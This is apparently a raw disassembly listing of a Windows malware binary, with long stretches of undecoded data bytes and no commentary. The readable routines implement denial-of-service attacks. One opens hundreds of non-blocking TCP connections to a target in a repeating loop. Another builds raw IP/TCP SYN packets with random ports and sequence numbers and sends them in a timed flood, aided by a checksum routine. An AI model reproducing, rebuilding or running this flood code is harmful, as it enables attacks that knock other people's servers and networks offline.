loc_412E8E push 1 pop eax loc_412E8E: ; CODE XREF: ___:00412E89j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_412E9D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6721o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh dd 50004CAFh, 0FC44858Dh, 2468FFFFh, 5000435Ch, 8995E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h dd 59FFFF84h, 0E8905759h, 22AD0C8h, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CAF5415h db 0, 83h word_412F4E dw 0FFF8h ; DATA XREF: ___:off_43A18Co dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BF4h, 891CE850h dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h, 846CE8C8h dd 5959FFFFh, 0D052E857h, 8D90022Ah, 0FFFE4885h, 15FF50FFh dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BD4h, 88B4E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h dd 575959FFh, 2ACFEBE8h, 106A9002h, 57E4458Dh, 856EE850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0DCE805C6h dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh, 0FF004CB0h dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh, 435B8C68h dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h dd 0FF022ACEh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B4068h dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 97E8C875h, 59FFFF81h, 7DE85759h, 90022ACDh dword_413284 dd 0B8EC8B55h, 10320h, 888FE8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+550Fo dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 7C68FFFFh, 5000435Ch, 8589E8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh dd 0CCBEE890h, 0C33B022Ah, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CAE8Ch, 0C0753B46h, 75FFDA7Ch, 2C15FF08h, 8D004CB0h dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C5068h, 0BBE85000h dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h dd 59FFFF80h, 0E8905359h, 22ACBF0h dword_413410 dd 0B8EC8B55h, 10310h, 8703E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+575Bo dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0D23AE800h dd 50900225h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 0D068FFFFh dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Ah dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 0DBE81175h dd 99000083h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 24CA5BE8h dd 754E9002h, 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 0A468FFFFh, 5000435Ch, 82A5E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h dd 575959FFh, 0C9DAE890h db 2Ah, 2 word_413626 dw 8B55h ; DATA XREF: sub_401ACD+4DECo dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 5CF868FFh, 0E8500043h, 820Ah, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h, 5959FFFFh dd 0C93EE856h, 5F90022Ah ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C5 proc near ; CODE XREF: ___:004137AEp var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CAF74 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413783 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413710: ; CODE XREF: sub_4136C5+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413718: ; CODE XREF: sub_4136C5+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41373B lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call near ptr 71AB155Ah nop loc_41373B: ; CODE XREF: sub_4136C5+64j add esi, 4 dec ebx jnz short loc_413718 lea esi, [ebp+var_654] mov ebx, edi loc_413749: ; CODE XREF: sub_4136C5+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] call near ptr 71AB3E5Dh nop add esi, 4 dec ebx jnz short loc_413749 push 64h nop call near ptr 2660000h lea esi, [ebp+var_654] mov ebx, edi loc_41376D: ; CODE XREF: sub_4136C5+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_41376D dec [ebp+arg_4] jnz short loc_413710 pop edi pop esi pop ebx loc_413783: ; CODE XREF: sub_4136C5+3Ej xor eax, eax leave retn sub_4136C5 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov edi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov esi, eax push esi push ebx push edi call sub_4136C5 add esp, 18h test eax, eax jnz short loc_4137BD push 1 pop eax loc_4137BD: ; CODE XREF: ___:004137B8j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4137CC dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+6449o dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D24h, 8064E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF7BB2h, 90565959h, 2AC797E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41386B proc near ; CODE XREF: ___:00413B59p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAEE4 test eax, eax jz short loc_4138AB xor eax, eax jmp loc_413B19 ; --------------------------------------------------------------------------- loc_4138AB: ; CODE XREF: sub_41386B+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB018 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413B11 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CAF54 cmp eax, 0FFFFFFFFh jz loc_413B07 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CAF74 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CAF74 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CAF74 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CAF74 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 27603B5h lea eax, [ebp+var_8] push eax nop call near ptr 2760000h push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D280 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413996: ; CODE XREF: sub_41386B+25Dj ; sub_41386B+26Bj mov [ebp+var_24], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAF74 mov [ebp+var_34], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAF74 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAF70 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAF74 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CAFD8 cmp eax, 0FFFFFFFFh jz short loc_413ADB add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 2760000h mov eax, [ebp+var_4] cmp eax, esi jg short loc_413B04 jl loc_413996 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413B04 jmp loc_413996 ; --------------------------------------------------------------------------- loc_413ADB: ; CODE XREF: sub_41386B+247j call dword_4CAF08 push eax lea eax, [ebp+var_F4] push offset dword_435D4C push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_413B07 ; --------------------------------------------------------------------------- loc_413B04: ; CODE XREF: sub_41386B+25Bj ; sub_41386B+269j mov ebx, [ebp+arg_8] loc_413B07: ; CODE XREF: sub_41386B+78j ; sub_41386B+297j push [ebp+var_C] call dword_4CB00C pop esi loc_413B11: ; CODE XREF: sub_41386B+5Bj call dword_4CAECC mov eax, ebx loc_413B19: ; CODE XREF: sub_41386B+3Bj pop edi pop ebx leave retn sub_41386B endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41386B add esp, 1Ch test eax, eax jnz short loc_413B68 push 1 pop eax loc_413B68: ; CODE XREF: ___:00413B63j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413B77 db 55h ; DATA XREF: sub_401ACD+6E44o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh dd 5DE8h, 50595900h, 0FC6C858Dh, 6C68FFFFh, 5000435Dh dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3E8F075h, 59FFFF78h, 0E8905659h, 22AC3E8h, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h dd 5415FFFCh, 0BE004CAFh, 200h, 77D3E856h, 3D8B0000h, 4270A8h dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh, 0F9F7CB8Bh dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 7B52h, 0E0458966h, 7B49E8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh, 0E2458966h dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h, 0FFFC75FFh dd 4CB00C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_413E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+53E8o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270A8h dd 0E850D7FFh, 7A58h, 0FF6859h, 36A0000h, 15FF026Ah, 4CAFF4h dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch, 0FFFBC085h dd 5E8468FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h dd 535959FFh, 0C102E890h, 4D8D022Ah, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h dd 0C0858D50h, 68FFFFFBh, 435E4Ch, 7958E850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 9FE8FFFFh, 59FFFF74h, 85E85359h, 90022AC0h, 0FDC4858Dh dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 435E2C68h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h dd 0E8905359h, 22AC014h, 458D106Ah, 0E85053BCh, 7598h dd 660CC483h, 2BC45C7h, 15FF5300h, 4CAF74h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 73E82D74h, 8B000078h dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AF7015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB80h, 77EEE850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CAF74h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 7415FF06h dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 8147E8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h, 66FFFF6Ah dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 435DDC68h, 0C0858D00h, 68FFFFFBh dd 200h, 76E6E850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 19E85359h dd 90022ABDh, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 435D8C68h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h dd 0E8535959h, 22ABC88h db 90h ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_4143A5 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414397: ; CODE XREF: ___:0041439Fj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414397 pop edi cmp eax, 1 loc_4143A5: ; CODE XREF: ___:0041438Bj jnz short loc_4143B2 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_4143B2: ; CODE XREF: ___:loc_4143A5j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_4143CB db 55h ; DATA XREF: sub_401ACD+6D49o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 737Dh, 